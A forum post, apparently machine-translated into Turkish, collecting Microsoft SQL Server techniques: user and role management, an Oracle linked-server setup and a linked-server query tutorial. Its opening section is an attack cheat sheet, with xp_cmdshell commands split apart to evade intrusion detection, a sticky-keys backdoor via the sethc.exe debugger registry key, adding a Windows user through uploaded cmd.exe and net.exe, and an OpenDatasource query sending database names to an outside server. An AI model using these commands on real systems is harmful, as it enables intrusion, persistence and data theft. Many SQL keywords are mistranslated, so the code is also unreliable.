           [OLE/DB sağlayıcısı geri döndü

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Net izni yanlışsa, herhangi bir uyarı yoktur.

Otoriteyi yükseltmenin son yolu, sistemin ias.mdb ve cmd.exe dosyalarını mevcut web dizinine yüklemek, net.exe üç dosya.

Openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe kullanıcı passwd /add")')
          Başarılı bir bilgisayar kullanıcısı ekle.






Bölme cmdshell atlayıcı IDS         
Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
ilan etmek

@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'





Kayıt defteri kaçırılması düzenle: Shift
Yönetici Üsta.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Linksunucuyu sorgulayın
seçmek

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
seçmek

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Query linkserver2
select distinct hostname,db_name(dbid),net_address,loginame,program_name from

Usta.. sysprocesses



Linksunucuyu sorgulayın
ve diğer giriş yapmış kullanıcılar
[192.168.1.1].master.dbo.syslogins from * seç



Query linkserver
Tüm veritabanları
linkedSrvWeb.master.dbo.sysdatabases arasından * seç



LinkServer'da genişletilmiş depolama gerçekleştir
exec [ip].master.dbo.xp_cmdshell



Linkserver'daki tüm tabloları sorgulayın
[ip].master.dbo.sysobjects from * seç








OpenRowset'ten * seç

('sqloledb','server=IP; uid=kullanıcı; pwd=password','select @@version')


openquery([LINKSERVER'den) * seç

name],'select @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




openquery(GM_SERVER,'select* from sysobjects'ten seç * burada xtype = (''U'')')


Seç *

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




select * from openquery(toatdeweb,'select

srvname master.dbo.sysservers' albümüdür)


OpenDatasource'a ekle

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

ism, master.dbo.sysdatabases'ten
database oluştur hack520 Tablo oluştur zhu(name nvarchar(256)

null); TABLO J8(id int NULL,name nvarchar(256) null) oluştur);


OpenQuery'den * seç

(toatdeweb, 'FMTLonly Off Exec master.dbo.xp_cmdshell ''net kullanıcı''')


Yönetici Üsta.. xp_dirtree

'c:\',1,1
Bir sorgu dizini gerçekleştirin


exec links.master.. xp_cmdshell 'ipconfig'


select * from openquery(toatdeweb,'set

FMTLi Off Exec master.dbo.xp_cmdshell ''ipconfig /all''')



Mem_DB'dan mysql Select * bağlayın. UserDB.dbo.AdminList


YÖNETICI USTA.. XP_dirtree 'c:\',1,1




Yönetici

master.dbo.xp_cmdshell 'dir'


[göster] noktasından count(*) seç
Mevcut tabloda ne kadar veri olduğunu sorgulayın




select distinct hostname,db_name(dbid),net_address,loginame,program_name

Ustadan.. sysprocesses






GameDB01'den * seçin. Server01.dbo.cabal_character_table nerede isim='

Domuz'





Sildiğinizde şöyle der: Veritabanı kullanılıyor ve silinemiyor.


Silmek istediğiniz veritabanına tıklayarak Olay Görüntüleyici'yi açın.


Giriş:


Kullanım   

Usta
Git
Sonra aşağıdakileri girin:
@d varchar ilan edecek(8000)
set @d= ' '
select @d=@d+ ' öldür   

'+cast(varchar olarak spid)+char(13)
Ustadan.. sysprocesses'ler burada dbid=db_id('kütüphane adı')
exec(@d)
--
Önce bu veritabanına bağlanan süreci silmek için kod kullanın












MSSQL, Oracle'ı LinkServer üzerinden işletiyor






1) Oracle'ı SQL_SERVER 2005 sunucusuna kur

9i müşterisi. Diyelim ki C:\ora92i\ dizinine kuralım. D: bir NTFS bölümüyse, kullanılan dizinle ORACLE kurulu dizinini ayarlamanız gerekir

Aboneler çalıştırma, ekleme ve silme hakkına sahiptir.


2)
C:\ora92i\network\ADMIN\tnsnames.ora dosyasını yapılandırın. (Aşağıdaki kırmızı metin bir yapılandırma örneğidir)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRES = (PROTOKOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
DOS modunda aşağıdaki komutu çalıştırarak ORACLE istemcisinin doğru kurulduğunu doğrulayın.


sqlplus kullanıcısı/password@ORCL


4)
Start - Control Panel - Hizmetler açın ve Dağıtık İşlem Koordinatörü hizmetinin başlatıldığını doğrulayın.



5) SQL SERVER Yönetim Stüdyosu'nu aç, Örnek Adı (ORCL) - Sunucu Nesnesi (sağ tıklama) - Yeni Bağlantı Sunucusu.


1.      


Bağlantı sunucusu: Bağlanmış sunucunun adını yazın, örneğin OracleTest


2.         
Sunucu türü, farklı bir veri kaynağı seçin


3. Erişim Arayüzü:
Select Oracle Provider for OLE DB


4. Ürün Adı: Oracle Yaz


5. Veri kaynağı: Yazın

tnsnames.ora dosyasında yapılandırılan hizmet adı, örneğin ORCL


6.         
Access interface dizisi: userid=sys as sysdba; password=password


7.         
Güvenlik Seçeneklerini Seç sayfasında, bağlantı kurmak için bu kurulum bağlamını kullanın:


a) Uzaktan Giriş: kullanıcı (diğer kullanıcı, sistem sistemi değil)


b)      

    Şifre: şifre kullanın


8. Yerel giriş ve uzak kullanıcı sisteminde "NT AUTHORITY\SYSTEM" ayarlayın ve şifreyi ayarlayın


9.

         Emin misiniz


6) SQL yazmanın iki yolu vardır


a) T-SQL sözdizimi kullanımı:


           SEÇ *

OraTest.ERP.BAS_ITEM_CLASS


           SQL Query Analyzer'a SQL ifadesi girerken Çin tam genişlik ve yarı genişlik anahtarlamalarına dikkat edin.

Way!


b) PLSQL sözdizimini kullanın:
           OPEN query'den * SEÇ (OraTest,'SEÇ * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) İkinci erişim yöntemi birincisinden yaklaşık %50 daha hızlıdır; İkinci erişim yöntemi doğrudan bağlantılıdır

ORACLE karşılaştırılabilir; İlk erişim yöntemi, aşağıdaki gibi beklenmedik hatalara yol açabilir:
           Tablo ya da mevcut kullanıcı yoktur

Masaya erişim yok ve benzeri.


           d) Erişilmesi gereken sütun veri tiplerini kesinlik olmadan kullanıyorsa, bunların ikisi de

Bu, ORACLE'da düzeltilemeyen bir hatadır ve yalnızca sorgu ilamalarının özel olarak işlenmesiyle önlenebilir:


     OLE DB sağlayıcısı 'OraOLEDB.Oracle' tarafından sağlanan meta veriler sütunlar için tutarsızdır. Meta veri bilgileri yürütme sırasında değiştirilir.










MSSQL ekledi

Kullanıcıyı sil ve izin ver


Kütüphane adınızı kullanın   
Git   
--Kullanıcı ekle   
Exec sp_addlogin 'test' -- giriş ekle   
yönetici

sp_grantdbaccess N'test' - mevcut veritabanının meşru bir kullanıcısı haline getiriliyor   
sp_addrolemember N'db_owner' yöneticisi,

N'test' - tüm izinleri kendi veritabanına verir   
--Bu, yalnızca kendi veritabanlarına ve veritabanına dahil edilenlere erişebilen kullanıcılar yaratır

Konuk kullanıcılar için açık tablo   
Git   
--Test kullanıcısını kaldır   
exec sp_revokedbaccess N'test' -- Veritabanına erişimi kaldır

Limit   
exec sp_droplogin N'test' -- girişi sil   
Eğer Enterprise Manager'da oluşturuyorsanız, şunları kullanın:   
Kurumsal Yönetici - Güvenlik

Seks --Sağ tıkla Giriş Girişi--Yeni Giriş   
Genel maddeler   
--İsme kullanıcı adını girin   

--Kimlik doğrulama yöntemi ihtiyaçlarınıza göre seçilir (Windows kimlik doğrulaması kullanıyorsanız, önce işletim sistemi kullanıcıları arasında yeni bir kullanıcı oluşturmanız gerekir)   

--Varsayılan ayarlarda, yeni kullanıcı için erişmek istediğiniz veritabanı adını seçin   
Sunucu rol öğesi   
Burada hiçbir şey seçme   
veritabanı

Erişim öğesi   
Oluşturduğunuz kullanıcı için erişmek istediğiniz veritabanının adını kontrol edin   
Veritabanı rolünde izin verin, "public", "db_ownew" işaretlerini işaretleyin   
Tabii, bu

Örnek tarafından oluşturulan kullanıcı, yukarıdaki ifadeyle oluşturulan kullanıcıyla aynıdır   



Son adım, belirli kullanıcılar için özel erişim izinleri belirlemektir; bunlar aşağıdaki minimal örneğe atıfta bulunabilir:   

--Sadece belirtilen tabloya erişebilen kullanıcıları ekleyin:   
yönetici sp_addlogin 'kullanıcı adı', 'şifre', 'varsayılan veritabanı adı'   

--veritabanına ekle   
yönetici sp_grantdbaccess 'kullanıcı adı'   

--Tüm tablo izinlerini atama   
SEÇ , EKLE , GÜNCELLEME , SIL TABLO 1'DE [kullanıcı adı]   
--Belirli sütunlara yetki atama   
SEÇİMİ VER, TABLE1(id,AA) GÜNCELLEMESİ [kullanıcı adı] OLARAK   


Belirli güvenlik ayarları ve teorik bilgi için lütfen SQL Online Yardım'a bakınız  







Sabit veritabanı rol tanımı   
  db_owner Veritabanında tam izinlere sahibim.   

db_accessadmin Kullanıcı kimlikleri ekleyebilir veya kaldırabilirsiniz.   

db_securityadmin Tam izinleri, nesne sahipliğini, rolleri ve rol üyeliklerini yönetebilir.   

db_ddladmin TÜM DDL verebilir, ancak VER, RED veya RED bildirimlerini veremez.   

db_backupoperator DBCC, CHECKPOINT ve BACKUP özetleri verebilir.   

db_datareader Veritabanındaki herhangi bir kullanıcı tablosundan tüm verileri seçebilirsiniz.   

db_datawriter Veritabanındaki herhangi bir kullanıcı tablosunda tüm verileri değiştirebilirsiniz.   

db_denydatareader Veritabanındaki herhangi bir kullanıcı tablosundan veri seçemezsiniz.   

db_denydatawriter Veritabanındaki hiçbir kullanıcı tablosunda veri değiştiremezsiniz.  





db_datareader, db_datawriter, db_accessadmin seçmelisiniz




5.
SQL Server örneği tek kullanıcı modunda başlatıldıktan sonra, Windows yönetici hesabı sqlcmd aracını kullanarak Windows kimlik doğrulama moduna bağlanabilir

SQL Server。 "sp_addsrvrolemember" gibi T-SQL komutlarını kullanarak mevcut bir girişi sistem yöneticisi sunucusu rolüne ekleyebilirsiniz

ya da yeni bir giriş hesabı oluşturabilirsiniz.
Bir örnek ifade şöyledir:


YÖNETICI sp_addsrvrolemember 'CONTOSO\Buck', 'sistem yöneticisi';


GIT


Bir sistem yöneticisi ayrıcalığı ekle








(1) Sunucu rollerini yönetin


SQL Server'da, SQL Server rol yönetimini uygulayan iki ana depolanmış prosedür vardır:


sp_addsrvrolemember

ve sp_dropsrvrolemember


sp_addsrvrolemember
Bir sunucu rolüne giriş hesabı ekleyerek onu o sunucu rolünün üyesi yapabilirsiniz. Sözdizimi şöyledir:
sp_addsrvrolemember

giriş , rol


sp_dropsrvrolemember
Sunucu rolünden giriş hesabını silebilirsiniz ve üye sunucu rolünden çıkarıldığında, artık o sunucu rolü kalmaz

İzinler ayarlandı. Sözdizimi şöyledir:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


Buna

@loginname, giriş yapan kullanıcının adıdır; @rolename sunucu rolü.




(2) Veritabanı rollerini yönetin


SQL Server'da veritabanı yönetimi desteklenmektedir

Altı ana depolanmış prosedür türü vardır ve onların özel anlamları ile sözdizimi şunlardır:


sp_addrole: Yeni bir veritabanı rolü oluşturmak için kullanıldı;
sp_addrole

Rol, Sahibi


sp_droprole: Mevcut veritabanı rolünden bir veritabanı rolünü kaldırmak için kullanılır;
sp_droprole rolü


sp_helprole:

Mevcut veritabanındaki tüm veritabanı rollerine dair tüm bilgileri göstermek için kullanılır;
sp_helprole ['rol']


sp_addrolemember: Veritabanına göndermek için kullanılır

Veritabanı kullanıcılarını bir role ekleyin; bunlar kullanıcı tanımlı standart roller veya sabit veritabanı rolleri olabilir, ancak bu rol olamaz.

Uygulama rolleri.
sp_addrolemember rol, security_account


sp_droprolemember: Belirli bir karakteri silmek için kullanılır

hane;
sp_droprolemember rol, security_account


sp_helprolemember: Bir veritabanı rolünün tüm üyelerini görüntülemek için kullanılır


sp_helprolemember ['rol']






MSSQL LINKSERVER query


----------------------------------------------------------------------------------
-- Yazar :

htl258(Tony)
-- Tarih: 2010-06-25 22:23:18
-- Sürüm: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 Temmuz 2008 14:43:34
-- Telif Hakkı (c) 1988-2008 Microsoft Corporation
--

Windows NT 5.1 için Geliştirici Sürümü (Build 2600: Service Pack 2)
-- Blog : -- Konu:
Farklı sunucu veritabanları arasında SQL veri işlemleri
----------------------------------------------------------------------------------
--1.
Bir bağlantı sunucusu oluştur
--1.1 Bir bağlantı adı oluştur
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' uzak sunucu adı

ya da IP adresi' --
Özel bir örnek adınız varsa, "\instance name" ekleyin.
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Bir giriş oluşturun (veya bir bağlantı sunucusu giriş haritası oluşturun) (sadece bir yol seçin)
--1.2.1
Windows kimlik doğrulama ile giriş yapın
YÖNETİCİ sp_addlinkedsrvlogin 'LinkName'
--ya da EXEC sp_addlinkedsrvlogin 'LinkName', 'doğru'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
SQL kimlik doğrulama ile giriş yapın
YÖNETICI sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Sunucu ile ilgili veri işlemlerini bağlantılı
--2.1 Sorgu örneği
SEÇ * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

FROM TonyLink.Mydb.dbo.tb */
--
2.2 İtçe etme örneği
SELECT* INTO tablo adı FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

FROM TonyLink.Mydb.dbo.tb */
--
2.3 Güncelleme örneği
GÜNCELLEME LinkName.Database Name.Schema Name.Table Name SET alan='değer' WHERE alan='koşul'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Kişiler='g' NEREDE Kişiler='a' */
--
2.4 Örnekleri sil
SIL LinkName.Database Name.Schema Name.Table Name WHERE alan adı='koşul'
/*例如:DELETE

TonyLink.Mydb.dbo.tb NEREDE Kişiler='g' */
--3 satir kümesi fonksiyonu (OPENQUERY/OPENROWSET/OPENDATASOURCE) aracılığıyla alındı.

Yöntem
-
3.1 OPENQUERY yöntemi (yeni oluşturduğunuz bağlantı sunucusunun yardımını gerektirir):
--
3.1.1 Sorgu örneği
OPENQUERY'den * SEÇİN(LinkName, 'SEÇ * FROM veritabanı adından'. Mimari adı. tablo adı')
/*
Örneğin: OPEN QUERY'den * SEÇ (TonyLink, 'Mydb.dbo.tb'den SEÇ * SEÇ') */
--
3.1.2 İtrak Örnekleri
--3.1.2.1 Tüm sütunları içe aktar
OPENQUERY(LinkName, 'SELECT * FROM veritabanı adını. Mimari adı. Tablo adı

') YEREL tablodan * SEÇ
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

TB'den */
--3.1.2.2
Belirtilen sütunları içe aktarın
OPENQUERY(LinkName, 'SELECT * FROM veritabanı adını. Mimari adı. tablo adı') (sütun, sütun...)
SELECT sütunu,

Sütun... YEREL tablodan
/*
Örneğin: OPEN QUERY(TonyLink,'SEÇ * FROM Mydb.dbo.tb')(RANGE,LEVEL,Kişiler)
SEÇMEK

ARALIK, SEVIYE, Tüberkülasyondan kişiler
*/
--3.1.3
Güncelleme örnekleri
AÇİKİRLİ GÜNCELLEME (LinkName, 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı') SET alanı = 'değer' NEREDE kelimesi

Segment = 'Durum'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Kişiler='a' */
--3.1.4
Örnekleri sil
SIL OPENQUERY(LinkName, 'SEÇ * FROM veritabanı adından. Mimari adı. tablo adı') WHERE alan adı='koşul'
/*例

Örneğin: OPEN QUERY(TonyLink, 'Mydb.dbo.tb'den SEÇ * SEÇ') NEREDE Kişiler='g' */
--3.2
OPENROWSET yöntemi (oluşturulmuş bağlantı adını kullanmanıza gerek yok.) Bağlı örnek adı varsayılan değilse, sql sunucu adı veya IP adresi olarak ayarlamanız gerekir.

"\instance name")
--3.2.1 Sorgu örneği
--3.2.1.1
Windows kimlik doğrulama yöntemi sorgusu (aşağıdaki yöntemlerden biri yeterlidir)
OPENROWSET('SQLOLEDB', 'server=sql sunucu adından veya

IP adresi; Trusted_Connection=evet', veritabanı adı. Mimari adı. Tablo adı)
OPENROWSET('SQLNCLI') IÇINDEN * SEÇ,

'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet', veritabanı adı. Mimari adı. Tablo adı)
SEÇ *

OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet','SEÇ * FROM veritabanından

İsim. Mimari adı. tablo adı')
OPENROWSET('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi'nden * SEÇİN.

Adres; Trusted_Connection=evet','SELECT * FROM veritabanı adı. Mimari adı. tablo adı')
/*
Örneğin: OPENROWSET'TEN * SEÇ

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet', Mydb.dbo.tb)

Ya da: OPENROWSET'TEN * SEÇ

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet', Mydb.dbo.tb)

Ya da: OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet','SEÇ *

Mydb.dbo.tb'den)

Ve: OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet','SEÇ *

Mydb.dbo.tb'den)
*/
--3.2.1.2 SQL Kimlik Doğrulama Yöntemi Sorgulası (Aşağıdaki yöntemlerden biri yeterlidir)
OPENROWSET'TEN * SEÇ

('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı)
SEÇ *

OPENROWSET('SQLNCLI', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı)
OPENROWSET('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password','SELECT *

Veritabanı adından FROM. Mimari adı. tablo adı')
OPENROWSET('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi; uid=

Kullanıcı adı; pwd=password','SELECT * FROM veritabanı adı. Mimari adı. tablo adı')
OPENROWSET('sqloledb', 'sql arasından) * SEÇİN

sunucu adı'; 'kullanıcı adı'; 'şifre', veritabanı adı. Mimari adı. Tablo adı)
OPENROWSET('SQLNCLI', 'SQL SUNUCU ADI'NDAN * SEÇ

'; 'kullanıcı adı'; 'şifre', veritabanı adı. Mimari adı. Tablo adı)
OPENROWSET('SQLOLEDB', 'SQL SUNUCU ADI'; ' kullanıcı

isim'; 'Şifre', 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı')
OPENROWSET('sqlncli', 'sql sunucu) SEÇİNİZ

isim'; 'kullanıcı adı'; 'Şifre', 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ya da: OPENROWSET'TEN * SEÇ

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ya da: OPENROWSET'TEN * SEÇ

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SEÇ * FROM Mydb.dbo.tb')

ve: OPENROWSET('SQLNCLI','server=192.168.58.208 arasından * SEÇİ; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

ve: OPENROWSET'TEN * SEÇ ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

VEYA: OPENROWSET'TEN * SEÇ ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

ve: OPENROWSET'TEN * SEÇ ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SEÇ * Mydb.dbo.tb')

VEYA: OPENROWSET'TEN * SEÇ ('SQLNCLI','192.168.58.208'; 'sa'; '123','SEÇ * Mydb.dbo.tb')
*/
--3.2.2 İtçe örnek
--3.2.2.1 Tüm sütunları içe aktar
INSERT OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi

Adres; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı)
YEREL TABLODAN * SEÇ
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SEÇ * TB'den
*/
--3.2.2.2 İç aktarma

Sütunları belirtin
INSERT OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. raf

Yapı adı. tablo adı) (sütun, sütun...)
SELECT sütun, sütun... YEREL tablodan
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ARALIK,SEVIYE,Kişiler)
SEÇMEK

ARALIK, SEVIYE, Tüberkülasyondan kişiler
*/
--Not: Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakınız, sadece OPENROWSET fonksiyonunu değiştirin

Içerik yeterli.
--3.2.3 Güncelleme örneği
OPENROWSET('sqloledb', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı

;p wd=password', veritabanı adı. Mimari adı. Tablo adı)
SET alanı = 'değer'
WHERE alanı = 'koşul'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Kişiler='g'
NEREDE Kişiler='a'
*/
--Not: Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakın, sadece içeriği OPENROWSET'teki değiştirin.
--3.2.4 Göstergeyi sil

Örnek
OPENROWSET('sqloledb', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Şema adı

.tablo adı)
WHERE alan adı='koşul'
/*
Örneğin: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
BURADA

Kişiler='g'
*/
--Not:
Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakınız, sadece içeriği OPENROWSET'teki yerine koyun.
--3.3 OPENDATASOURCE yöntemi

(Oluşturulan bağlantı adını kullanmanıza gerek yok.) Bağlantının örnek adı varsayılan değilse, sql sunucu adı veya IP adresinden sonra \instance name eklemeniz gerekir

")
--3.3.1
Sorgu örneği
--3.3.1.1 Windows Kimlik Doğrulama Yöntemi Sorgusu (Aşağıdaki yöntemlerden biri yeterlidir)
OPENDATASOURCE('SQLOLEDB') IÇINDEN * SEÇIN,

'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet'). Veritabanı adı. Mimari adı. Tablo adı
SEÇ *

OPENDATASOURCE('SQLNCLI', 'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet'). Veritabanı adı. Mimari adı.

Tablo adı
/*
Örneğin: OPEN DATASOURCE'DAN * SEÇ

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet'). Mydb.dbo.tb

Ve: OPENDATASOURCE'DAN * SEÇ

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet'). Mydb.dbo.tb
*/
--3.3.1.2
SQL kimlik doğrulama yöntemi sorgusu (aşağıdaki yöntemlerden biri yeterlidir)
OPENDATASOURCE'DAN * SEÇIN('SQLOLEDB', 'server=sql sunucu adı veya

IP adresi; uid=kullanıcı adı; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
OPENDATASOURCE('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı

İsim; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
OPEN DATASOURCE'DAN * SEÇ ('SQLOLEDB', 'Veri Kaynağı=sql sunucu adı veya IP adresi'

Adres; uid=kullanıcı adı; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
OPENDATASOURCE'DAN * SEÇ ('SQLNCLI', 'Veri Kaynağı=sql sunucu adı veya IP adresi

Adres; uid=kullanıcı adı; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ya da: OPENDATASOURCE'DAN * SEÇIN('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ve: OPENDATASOURCE'DAN * SEÇ ('SQLOLEDB','Data

Kaynak=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ve: OPEN DATASOURCE'DAN * SEÇ ('SQLNCLI','Data

kaynak=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Tüm sütunları içe aktar
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').

Kütüphanenin adına göre. Mimari adı. Tablo adı
YEREL TABLODAN * SEÇ
/*
Örneğin: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SEÇMEK

* TB'den
*/
--3.3.2.2
Belirtilen sütunları içe aktarın
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').

Kütüphanenin adına göre. Mimari adı. Tablo adı (sütun, sütun...)
SELECT sütun, sütun... YEREL tablodan
/*
Örneğin: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(MENZIL, SEVIYE, Kişiler)
BÖLGE, SEVIYE, Kişileri TB'den SEÇİN
*/
--Not:
Daha fazla alternatif yöntem için .3.1 sorgu örneğine bakınız; sadece satır kümesi fonksiyonundaki içeriği (OPENDATASOURCE) değiştirin.
--3.3.3 Güncelleme örneği
OPENDATASOURCE'U GÜNDELEME ('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
SET alanı = 'değer'
WHERE alanı = 'koşul'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Kişiler='g'
NEREDE Kişiler='a'
*/
--Not:
Daha fazla alternatif yöntem için .3.1 sorgu örneğine bakınız; sadece satır kümesi fonksiyonundaki içeriği (OPENDATASOURCE) değiştirin.
--3.3.4 Örneği sil
SIL OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').
Veritabanı adı. Mimari adı. Tablo adı
WHERE alan adı='koşul'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
NEREDE Kişiler='g'
*/
- Not: Daha fazla alternatif

.3.1 sorgu örneğine bakın, sadece içeriği sıralı küme fonksiyonunda (OPENDATASOURCE) değiştirin.
--
Bağlı sunucu yöntemini sil
--Gelecekte bağlantı bilgisini kullanmazsanız, bağlantı bilgilerini silebilirsiniz
--4.1
Giriş bilgilerini sil (veya bağlı sunucu giriş adı haritasını sil)
YÖNETİCİ sp_droplinkedsrvlogin 'LinkName', NULL
/*
Örneğin: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Bağlantılı sunucu adını sil
EXEC sp_dropserver 'LinkName', 'droplogins' -- droploginler belirtilmişse,
Bağlantı kartı silinmeden önce giriş haritası silinmelidir
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Eklenmiş


Sağlayıcı Adını (EXECUTIVE master) nasıl alınır? xp_enum_oledb_providers)
CAST SEÇ([Sağlayıcı Adı] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
KAYNAK

OPENROWSET(
'SQLOLEDB',
'Sunucu=.; Trusted_Connection=evet',
'FMTONLY HAREKETE GEÇTI;
YÖNETICI

Usta.. xp_enum_oledb_providers'
)




Önceki:UCloud güvenlik açığı işleme süreci ve ödül detayları
Önümüzdeki:Bugün eve trenle gidebilirim ve yarım yıldan fazla süredir eve gitmedim
Yayınlandı 27.09.2017 17:43:11 |
Çok detaylı, teşekkürler
 Ev sahibi| Yayınlandı 17.06.2023 11:12:11 |
SQLMAP sızma aracıyla SQL enjeksiyon testini test edin
https://www.itsvse.com/thread-10611-1-1.html
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com